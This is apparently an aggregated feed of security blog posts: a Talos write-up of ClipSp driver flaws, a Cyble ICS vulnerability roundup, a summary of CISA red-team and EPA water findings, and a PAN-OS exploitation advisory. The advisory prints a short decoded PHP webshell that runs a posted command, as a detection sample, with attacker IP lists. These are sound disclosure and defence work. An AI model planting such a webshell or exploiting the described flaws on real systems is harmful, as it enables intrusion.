By Philippe Laulheret

ClipSP (clipsp.sys) is a Windows driver used to implement client licensing and system policies on Windows 10 and 11 systems.

Cisco Talos researchers have discovered eight vulnerabilities related to clipsp.sys ranging from signature bypass to elevation of privileges and sandbox escape:

• TALOS-2024-1964 (CVE-2024-38184)
• TALOS-2024-1965 (CVE-2024-38185)
• TALOS-2024-1966 (CVE-2024-38186)
• TALOS-2024-1968 (CVE-2024-38062) 
• TALOS-2024-1969 (CVE-2024-38187)
• TALOS-2024-1970 (CVE-2024-38062)
• TALOS-2024-1971 (CVE-2024-38062)
• TALOS-2024-1988 (CVE-2024-38062)

This research project was also presented at both HITCON and Hexacon. A recording of the latter’s presentation is embedded at the end of this article.

What is ClipSp?

ClipSp is a first-party driver on Microsoft Windows 10 and 11 that is responsible for implementing licensing features and system policies, and as such it is one of the main components of the Client Licensing Platform (CLiP). Little is known about this driver; while most Microsoft drivers and DLLs have publicly available debug symbols, in the case of ClipSp, those were removed from Microsoft’s symbol server. Debug symbols provide function names and other related debug information that can be leveraged by security researchers to infer the intent behind the many functions of a binary; their absence hinders that. Surprisingly, the driver is also obfuscated, a very rare occurrence in Microsoft binaries, likely to deter reverse engineering even further. Limited public research exists, much of which either predates our findings or was released in response to our reports. The latter research also shares symbols from an older version of ClipSp, which could be a useful springboard for anyone wanting to research this driver. The most interesting aspect of this software involves implementing features related to licensing Windows applications from the Windows App store and activation services for Windows itself.

 

Deobfuscation

The driver is obfuscated with Warbird, which is Microsoft’s proprietary obfuscator. Luckily, past research comes in handy, and we can adapt to suit our needs. The plan to deobfuscate the driver is to leverage the binary emulation framework Qiling, to emulate the part of the driver responsible for deobfuscating the obfuscated sections, and dump the executable memory range to import it into our favorite reversing tool.

During normal operation, the obfuscation appears as follows:

We can see that a decrypt function is called twice with different parameters, followed by a call to the actual function being deobfuscated and, finally, two calls to re-obfuscate the relevant section.

Using Ida Python, we can track all the references to the decrypt functions (there are actually two distinct functions), and recover their arguments by looking at the instructions that precede the function call where the RCX and RDX registers are being assigned. Per calling conventions, these two registers are the first and second arguments of the function. Then, we can feed this information to our modified Qiling script to emulate the decryption functions and dump the whole deobfuscated binary. Once the driver is deobfuscated, we can start reversing it to understand how Windows communicates with the driver, understand various business logic elements, and look for vulnerabilities.

Driver communication

Usually, drivers either register a device that can be reached from userland or export the functions that are meant to be used by other drivers. In the ClipSp case, things behave slightly differently. The driver exports a “ClipSpInitialize” function that takes a pointer to an array of callback functions that get populated by ClipSp, to then be used by the calling driver to invoke ClipSp functionalities. Grepping for “ClipSpInitialize” throughout the System32 folder shows that the best candidate for using ClipSp is “ntoskrnl.exe”, followed by a handful of filesystem drivers that use a limited amount of ClipSp functions. For the rest of this report, we will focus on how “ntoskrnl” interacts with ClipSp.

Analyzing the cross-references within the Windows’ kernel to ClipSp functions, it becomes clear that, to interact with them, a call to “NtQuerySystemInformation” with the SystemPolicy class is required. Other binaries in the CLiP ecosystem will issue these system calls, while also providing a remote procedure call (RPC) interface to decouple other software from the undocumented API. However, nothing stops us from interacting with the “NtQuerySystemIformation” endpoint directly, which becomes a handy trick to bypass some of the additional checks that are enforced by the intended RPC client library.

Obfuscated structures

Unfortunately for us, looking at how a legitimate binary interacts with the SystemPolicy class, we can see the following (from  wlidsvc!DeviceLicenseFunctions::SignHashWithDeviceKey):

This is another layer of obfuscation that encapsulates the data passed over to the API. The idea here is that a network of binary transformations (also known as a Feistel cipher) is used to encrypt the data with the various operations inline in the code (as seen above). Part of the API call will provide the list of operations that were used, and the kernel will call them directly with the appropriate parameters to decrypt the data. As such, the easier approach to dealing with this is to simply rip out both the encryption code and the associated parameters and re-use them in our own invocation of the API. Copying and pasting the decompiler’s output into Visual Studio is a little tedious but usually works fine. Before returning from the syscall, the resulting data is obfuscated in a similar fashion, and, once again, ripping out the data from a working implementation is the most straightforward way to deal with it. Overall, the data format looks as such:

The inner payload (left) is an array of size-value entries that contain the command number that needs to be executed, followed by the Warbird material used to encrypt the reply from the kernel, and finally command-specific data that depends on which ClipSp function is being invoked.

This data is then encapsulated into a structure that mostly specifies the number of entries there are in the provided array and the whole thing then gets encrypted. The remaining Warbird data in the righ-most part of the diagram is to instruct the kernel how to decrypt the provided data.

Here’s our best guess at the various available commands:

 

Most of them call into ClipSp, but a few (especially in the <100 range) may be solely handled by the Windows kernel.

Sandbox considerations

Microsoft provides a tool to test if a piece of code can be run within a low-privilege context called a Less Privileged Application Container (LPAC) sandbox. Using this with our proof of concept, we can confirm that ClipSp’s APIs are actually reachable from an LPAC context. This is particularly interesting as these application containers are usually used to sandbox high-risk targets, such as parsers and browser rendering processes. As such, any elevation of privilege vulnerabilities we could find would likely double as sandbox escapes as well.

 

Processing licenses

Throughout the reversing process, we observed that the license files handled by ClipSp were quite interesting. They are usually obtained silently from Microsoft when interacting with UWP applications (both coming from the App Store and those installed by default, such as Notepad). They can also be used for other purposes, such as Windows activation, hardware binding, and generally providing cryptographic material for various applications.

At first, license files appear to be opaque blobs of data that are installed via the “SpUpdateLicense” command. This can be invoked following the process described above with the command “_id = 100”. Existing licenses are stored in the Windows registry at the following location:

HKLNSYSTEMCurrentControlSetControl{7746D80F-97E0-4E26-9543-26B41FC22F79}

Only the SYSTEM user can access this registry key. From an elevated prompt, the following command can open regedit as SYSTEM:

PsExec64.exe -s -i regedit

The format for these licenses is mostly undocumented, but looking at how they are being parsed is pretty informative. These licenses are in a tag-length-value (TLV) format, where the list of authorized tags is contained in an array of tuples of the form (tag, internal_index) hardcoded inside ClipSp. Upon parsing, a pointer to each valid TLV entry is stored in an array at the location indicated by the internal_index:

Signature bypass (TALOS-2024-1964)

Licenses are signed by various signing authorities whose public keys are hardcoded in ClipSp. Verification code looks as such:

The “entry_of_type_24” value is a pointer saved during the parsing of the license and points to its signature. The difference between “entry_of_type_24” and “License_data” is pointer arithmetic used to count the number of bytes from the beginning of the license blob up to its signature. 

During the parsing, this looks as such:

If the internal index associated with the entry’s tag is 24, then the processing loop is temporarily exited. A pointer to the signature is saved, and if more data remains, the license processing is resumed.

We can see that this approach is flawed: If there is data after the license’s signature, it will still be parsed but not checked against the signature, effectively enabling an attacker to bypass the signature check of any license as long as they can get one that is already signed with the proper signing authority.

Out-of-bound read vulnerabilities (TALOS-2024-1965,TALOS-2024-1968, TALOS-2024-1969, TALOS-2024-1970, TALOS-2024-1971, TALOS-2024-1988)

We can cross reference where the license structure and its array of pointers to the TLV data is being used, and what we find is many wrapper functions that return either the length/size of a given entry or the data associated with it. In most cases, this is done in a secure fashion, but there are a few entries that make assumptions on the size of the data provided in the license blob, which leads to a handful of out-of-bound read vulnerabilities. An example of such vulnerabilities can be seen in the following screenshots:

These two functions retrieve either the size of the DeviceID field or its content. However, if the data is formatted in such a way that line 11 is reached (i.e., no entry of type 5 in the license provided) then the data field of entry 18 is used to provide both size and value by dereferencing its pointer, without checking if enough data was provided for that. For instance, if we append a DeviceID entry (type 18) at the end of a valid license blob, but make it so its data field is only one byte long, then the “get_DeviceIDSize” function will read one byte out of bound, as it is expecting two bytes of data. Furthermore, any function that calls “get_DeviceID” will receive a pointer that is pointing one byte past the end of the license file and will likely act on wrong information from the “get_DeviceIDSize” function for further out of bound (OOB)-read problems.

Turning an OOB-read into an OOB-write (TALOS-2024-1966)

If we look specifically at the case described above where the DeviceIdSize field can be read out of bound, this creates a particularly interesting situation where the expected size of the DeviceID object can change throughout its lifetime if the data immediately adjacent in memory changes in a meaningful way. The first byte of data after the license blob will also be read as the leading byte of the (unsigned short) value defining the size of the DeviceID. Looking at how these two functions are used in ClipSp, we can see that during the installation of a hardware license, the following happens:

We can see multiple calls to the “get_DeviceIDSize” function, with one providing the size field to a memory allocation routine, while another call is used as a parameter to a “memcpy”. If the size field changes in between the two calls, this may lead to an out-of-bounds write vulnerability.  

Exploiting a vulnerability like this is far from trivial, as one would have to win a race condition between the two fetches while being able to shape the PagedPool heap in such a way that there’s meaningful data located right after the malicious license blob.

Conclusion

As we have just seen, obfuscated code can hide low hanging fruit, trivial memory corruptions, and simple logic bugs. In the case of ClipSp, this issue is even more serious, as this attack vector may lead to sandbox escapes and potentially significant impact to the compromised user.

As such, this is a reminder for security researchers on the value of taking the less traveled path, even if it begins with a bramble of Feistel functions. And for the software engineers and project managers who decide to leverage obfuscation for their projects, this is also a stark reminder that this approach may hinder normal bug finding processes that would detect trivial bugs early on.

 

[Please embed video from: https://www.youtube.com/watch?v=9t0Xt40RZEc  ] 

Cisco Talos Blog – ​Read More

This week’s Cyble ICS vulnerability report includes critical vulnerabilities like CVE-2024-39332 in Siemens, CVE-2024-9834 in Baxter Life2000 Ventilation System, and CVE-2024-45490 in Subnet Solutions that need urgent patching.

Overview

Cyble Research & Intelligence Labs (CRIL) has analyzed key Industrial Control System (ICS) vulnerabilities reported by the U.S. Cybersecurity and Infrastructure Security Agency (CISA) for the week spanning November 12–18, 2024. It covers vulnerabilities across products from Siemens, Baxter, Subnet Solutions, and others, urging organizations to prioritize patching to mitigate risks.

This week, 21 ICS security advisories disclosed 129 vulnerabilities affecting multiple vendors.

The healthcare sector remains particularly vulnerable, with Baxter’s Life2000 ventilation systems spotlighted due to their potential to compromise patient safety.

Meanwhile, critical manufacturing continues to dominate in terms of affected infrastructure, accounting for 75.2% of reported vulnerabilities.

The Week’s Top ICS Vulnerabilities

Key vulnerabilities identified in this report include:

1. CVE-2024-45490 (Subnet Solutions):
   • Product: PowerSYSTEM Center PSC 2020
   • Impacted Versions: v5.22.x and prior
   • Severity: Critical
   • Issue: Improper XML External Entity Reference
   • Impact: Affects SCADA, DCS, and BMS systems

2. CVE-2024-9834 (Baxter):
   • Product: Life2000 Ventilation System (v06.08.00.00 and prior)
   • Severity: Critical
   • Issue: Cleartext Transmission of Sensitive Information

3. CVE-2024-39332 (Siemens):
   • Product: SINEC INS
   • Impacted Versions: versions prior to V1.0 SP2 Update 3
   • Severity: Critical
   • Issue: Improper Input Validation

4. CVE-2024-41153 (Hitachi Energy):
   • Product: TRO600 series firmware
   • Impacted Versions: v9.0.1.0 to 9.2.0.0
   • Severity: High
   • Issue: Command Injection

For the complete list of vulnerabilities and their respective mitigations, subscribe to Cyble’s AI-powered threat intelligence product suite!

Recommendations

To address these vulnerabilities and reduce exploitation risks, CRIL recommends:

• Patch Management: Organizations should develop and implement a comprehensive patch strategy, including inventory, assessment, testing, and deployment. Leverage automation to enhance efficiency.
• Network Segmentation: Limit attackers’ lateral movement and exposure by implementing robust segmentation practices.
• Threat Intelligence Monitoring: Continuously track vulnerabilities listed in CISA’s KEV catalog to detect and mitigate actively exploited issues.
• Physical Security: Protect devices and networks through physical barriers to deter unauthorized access.
• Incident Response Planning: Maintain a tested and updated plan to respond effectively to cybersecurity incidents.
• Staff Training: Regularly educate employees on recognizing phishing attempts, proper authentication practices, and adhering to security protocols.

Conclusion

This week’s ICS vulnerability report showcases the growing threats to critical infrastructure, particularly in manufacturing and healthcare. Organizations must prioritize resilience through prompt patching, enhanced monitoring, and proactive cybersecurity strategies to mitigate the risks posed by these vulnerabilities.

With the ICS landscape continually evolving, staying ahead of threat actors is essential to safeguarding vital operations and ensuring system integrity.

The post Top ICS Vulnerabilities This Week: Siemens, Baxter, and Subnet Solutions appeared first on Cyble.

Blog – Cyble – ​Read More

A pair of recent U.S. government reports offer a fresh reminder of how vulnerable critical infrastructure environments are.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a report this week detailing the ease with which a CISA red team was able to penetrate an unspecified critical infrastructure environment, while the EPA issued a report last week that showed that 27 million Americans are served by drinking water systems with high to critical-severity vulnerabilities.

Vulnerabilities in water and wastewater systems are particularly concerning because communities are generally unprepared for an extended outage to those systems. Cyble researchers recently observed two incidents where threat actors claimed to have accessed water system control infrastructures and changed water system settings – we detail those incidents below.

CISA Red Team Breaches Critical Infrastructure Organization

CISA was asked by the critical infrastructure organization to conduct a red team assessment. During the assessment open-source research and targeted spearphishing campaigns were unsuccessful, but external reconnaissance discovered a web shell left from a third party’s previous security assessment. The red team used the shell for initial access and immediately reported it to the organization’s trusted agents (TAs). The red team was then able to escalate privileges on the host, discover credential material on a misconfigured Network File System (NFS) share, and move from a DMZ to the internal network.

From there, the red team gained further access to several sensitive business systems (SBSs). The team discovered a certificate for client authentication on the NFS share and used it to compromise a system configured for Unconstrained Delegation. This allowed the red team to acquire a ticket granting ticket (TGT) for a domain controller, which was used to further compromise the domain. The red team leveraged this high-level access to exploit SBS targets that had been provided by the organization’s TAs.

CISA published a graphic detailing the exploits:

The targeted organization detected much of the red team’s activity in their Linux infrastructure after CISA alerted them to the vulnerability the red team used for initial access, but despite delaying the red team from accessing many SBSs, the red team was still able to access a subset of SBSs. “Eventually, the red team and TAs decided that the network defenders would stand down to allow the red team to continue its operations in a monitoring mode,” the CISA report said. “In monitoring mode, network defenders would report what they observed of the red team’s access, but not continue to block and terminate it.”

CISA Red Team Findings

The CISA red team detailed nine findings are all organizations should be aware of:

Inadequate Perimeter and DMZ Firewalls: The organization’s perimeter network was not adequately firewalled from its internal network, which allowed the red team a path through the DMZ to internal networks.

Network Protection Lacking: CISA said the organization was “too reliant on its host-based tools and lacked network layer protections, such as well-configured web proxies or intrusion prevention systems (IPS).” EDR solutions also failed to detect all of the red team’s payloads.

Insufficient Legacy Environment Protection: Hosts with a legacy operating system did not have a local EDR solution, “which allowed the red team to persist for several months on the hosts undetected.”

Security Alerts Unreviewed: The red team’s activities generated security alerts that network defenders did not review. “In many instances, the organization relied too heavily on known IOCs and their EDR solutions instead of conducting independent analysis of their network activity compared against baselines.”

Identity Management Lacking: The organization had not implemented a centralized identity management system in their Linux network, so defenders had to manually query every Linux host for artifacts related to the red team’s lateral movement through SSH. “Defenders also failed to detect anomalous activity in their organization’s Windows environment because of poor identity management,” CISA said.

Known Insecure and Outdated Software: The red team discovered outdated software on one of the organization’s web servers.

Unsecured Keys and Credentials: The organization stored many private keys that lacked password protection, allowing the red team to steal the keys and use them for authentication.

Email Address Verification: The active Microsoft Office 365 configuration allowed an unauthenticated external user to validate email addresses by observing error messages in the form of HTTP 302 versus HTTP 200 responses, a misconfiguration that helps threat actors verify email addresses before sending phishing emails.

EPA OIG Finds Alarming Drinking Water System Vulnerabilities

A report by the EPA’s Office of the Inspector General (OIG) found that nearly 27 million Americans are served by drinking water systems with high-risk or critical cybersecurity vulnerabilities, and an additional 83 million Americans are served by systems with medium or low-severity vulnerabilities.

The OIG investigation looked at drinking water systems serving 50,000 or more people, 1,062 systems in all, covering 193 million people, or about 56% of the U.S. population. The Oct. 8 vulnerability scans identified 97 high-risk water systems and 211 moderate-risk ones.

The vulnerability tests “consisted of a multilayered, passive assessment tool to scan the public-facing networks” of the drinking water systems, the report said.

“If malicious actors exploited the cybersecurity vulnerabilities we identified in our passive assessment, they could disrupt service or cause irreparable physical damage to drinking water infrastructure,” the OIG report said.

Two Recent Concerning Attacks on Water Systems

While several recent attacks on water utilities did not penetrate operational technology environments, Cyble dark web researchers noted two concerning claims made on Telegram by the Russian-linked People’s Cyber Army (PCA).

In late August, PCA released a video on their Telegram channel claiming responsibility for a cyberattack on a Texas water treatment plant. The threat actors posted a video claiming to show unauthorized access to the plant’s control panel, where the attackers altered water settings.

In September, they claimed unauthorized access to Delaware water towers, again posting a video that claims to show the attackers breaching the plant’s control panel, where they manipulated water system settings.

The CISA and EPA reports—and Cyble’s own observations—suggest that critical infrastructure security, and water system security in particular, are urgent problems requiring attention.

Cyble Recommendations

The CISA report, in particular, highlights security weaknesses that all critical infrastructure organizations should investigate. Beyond that, here are some general recommendations for improving the security of critical environments:

1. Organizations should follow ICS/OT vulnerability announcements and apply patches as soon as they become available. Staying up to date with vendor updates and security advisories is critical to ensuring that vulnerabilities are addressed promptly.
2. Segregating ICS/OT/SCADA networks from other parts of the IT infrastructure can help prevent lateral movement in case of a breach. Implementing a Zero-Trust Architecture is also advisable to limit the potential for exploitation.
3. Regular cybersecurity training for all personnel, particularly those with access to Operational Technology (OT) systems, can help prevent human error and reduce the risk of social engineering attacks.
4. Ongoing vulnerability scanning and penetration testing can help identify and address weaknesses before attackers exploit them. Engaging threat intelligence services and staying updated with vulnerability intelligence reports is essential for proactive defense.
5. Developing a robust incident response plan and conducting regular security drills ensures that organizations are prepared for a quick and coordinated response to any security incidents that may arise.

The post CISA and EPA Reports Find Concerning Critical Infrastructure Vulnerabilities appeared first on Cyble.

Blog – Cyble – ​Read More

Overview

The German CERT has raised the alarm bells for the exploitation of chained vulnerabilities, urging users to patch them urgently as hundreds of vulnerable instances remain exposed around the country and the globe.

CERT-Bund warned in a notification on X earlier this week: “Attacks are already taking place. Customers should immediately secure their firewalls.” This warning was for two critical vulnerabilities, CVE-2024-0012 and CVE-2024-9474, in Palo Alto Networks’ PAN-OS.

Palo Alto confirmed that these bugs have been actively exploited in a limited set of attacks, tracking under the banner “Operation Lunar Peek.” These vulnerabilities allow attackers to gain unauthorized administrative privileges and execute arbitrary commands, posing a significant risk to organizations using affected devices.

While fixes have been released, the urgency of patching, monitoring, and securing firewall management interfaces has never been higher. This blog provides a detailed breakdown of the vulnerabilities, exploitation patterns, and actionable remediation strategies to safeguard against this ongoing threat.

Understanding the Vulnerabilities

CVE-2024-0012: Authentication Bypass Vulnerability

• Severity: Critical
• Impact: Allows unauthenticated attackers with network access to the management web interface to:
  • Gain PAN-OS administrator privileges.
  • Tamper with configurations.
  • Exploit other privilege escalation vulnerabilities, such as CVE-2024-9474.

• Affected Products:
  PAN-OS 10.2, 11.0, 11.1, and 11.2 software on PA-Series, VM-Series, CN-Series firewalls, Panorama appliances, and WildFire.
  Note: Cloud NGFW and Prisma Access are not affected.
• Root Cause: Missing authentication checks for critical functions within the PAN-OS management web interface.

CVE-2024-9474: Privilege Escalation Vulnerability

• Severity: Critical
• Impact: Allows authenticated PAN-OS administrators to escalate privileges and execute arbitrary commands with root access.
• Affected Products: Same as CVE-2024-0012, with additional fixes available for PAN-OS 10.1.

These vulnerabilities are particularly dangerous when chained together, enabling unauthenticated remote command execution on vulnerable devices. Palo Alto said that it assesses with moderate to high confidence that a functional exploit chaining CVE-2024-0012 and CVE-2024-9474 is publicly available.

Observed Exploitation in Operation Lunar Peek

Palo Alto Networks’ Unit 42 team is actively tracking exploitation activities tied to these vulnerabilities. Key observations include:

• Initial Access: Exploitation has primarily targeted PAN-OS management web interfaces exposed to the internet. Many attacks originated from IP addresses associated with anonymous VPN services or proxies.
• Post-Exploitation Activity:
  • Interactive command execution.
  • Deployment of webshells, such as a payload recovered with SHA256: 3C5F9034C86CB1952AA5BB07B4F77CE7D8BB5CC9FE5C029A32C72ADC7E814668.
  • Potential lateral movement and further compromise of network assets.

• Scanning Activity: Increased manual and automated scans, likely probing for vulnerable interfaces. A report by Censys found 13,324 publicly exposed management interfaces globally, with 34% located in the United States. More than 200 were located in Germany. German CERT has also confirmed active exploitation, urging organizations to “immediately secure their firewalls.”

Remediation and Mitigation

Patching

Palo Alto Networks has released patches addressing both vulnerabilities. Organizations must upgrade to the following versions immediately:

• PAN-OS 10.2: 10.2.12-h2 or later.
• PAN-OS 11.0: 11.0.6-h1 or later.
• PAN-OS 11.1: 11.1.5-h1 or later.
• PAN-OS 11.2: 11.2.4-h1 or later.
• PAN-OS 10.1: 10.1.14-h6 (for CVE-2024-9474).

Securing Management Interfaces

Palo Alto Networks strongly recommends the following:

1. Restrict Interface Access: Allow only trusted internal IP addresses or designated jump boxes to access the management interface.
2. Disable Public Access: Block internet-facing access to the management interface via network-level controls.
3. Enable Two-Factor Authentication (2FA): Add an extra layer of security for administrator access.

Monitoring and Detection

• Deploy detection rules for webshells and other malicious artifacts. The following decoded PHP webshell sample was observed during Operation Lunar Peek:

<?php $z=”system”;

if(${“_POST”}[“b”]==”iUqPd”)

{

    $z(${“_POST”}[“x”]);

};

• Watch for abnormal activities such as:
  • Unrecognized configuration changes.
  • New or suspicious administrator accounts.
  • Command execution logs indicating unauthorized access.

Enhanced Factory Reset (EFR)

Organizations detecting evidence of compromise should:

1. Take affected devices offline immediately.
2. Perform an Enhanced Factory Reset (EFR) in collaboration with Palo Alto Networks support.
3. Reconfigure the device with updated firmware and secure management policies.

Indicators of Compromise (IOCs)

IP Addresses Observed in Scans and Exploits

• Scanning Sources:
  • 41.215.28[.]241
  • 45.32.110[.]123
  • 103.112.106[.]17
  • 104.28.240[.]123
  • 182.78.17[.]137
  • 216.73.160[.]186

• Threat Actor Proxies:
  • 91.208.197[.]167
  • 104.28.208[.]123 
  • 136.144.17[.]146
  • 136.144.17[.]149
  • 136.144.17[.]154
  • 136.144.17[.]158 
  • 136.144.17[.]161
  • 136.144.17[.]164
  • 136.144.17[.]166
  • 136.144.17[.]167
  • 136.144.17[.]170
  • 136.144.17[.]176
  • 136.144.17[.]177
  • 136.144.17[.]178
  • 136.144.17[.]180
  • 173.239.218[.]248 
  • 173.239.218[.]251
  • 209.200.246[.]173
  • 209.200.246[.]184
  • 216.73.162[.]69
  • 216.73.162[.]71
  • 216.73.162[.]73
  • 216.73.162[.]74
  •  

Malicious Artifacts

• Webshell payload hash (PHP webshell payload dropped on a compromised firewall – SHA256): 3C5F9034C86CB1952AA5BB07B4F77CE7D8BB5CC9FE5C029A32C72ADC7E814668.

References:

https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2024/2024-291133-1032

https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2024/2024-291133-1032.pdf?__blob=publicationFile&v=5

https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474

The post German CERT Warns ‘Attacks are Happening,’ Urges PAN-OS Chained Vulnerabilities’ Patching appeared first on Cyble.

Blog – Cyble – ​Read More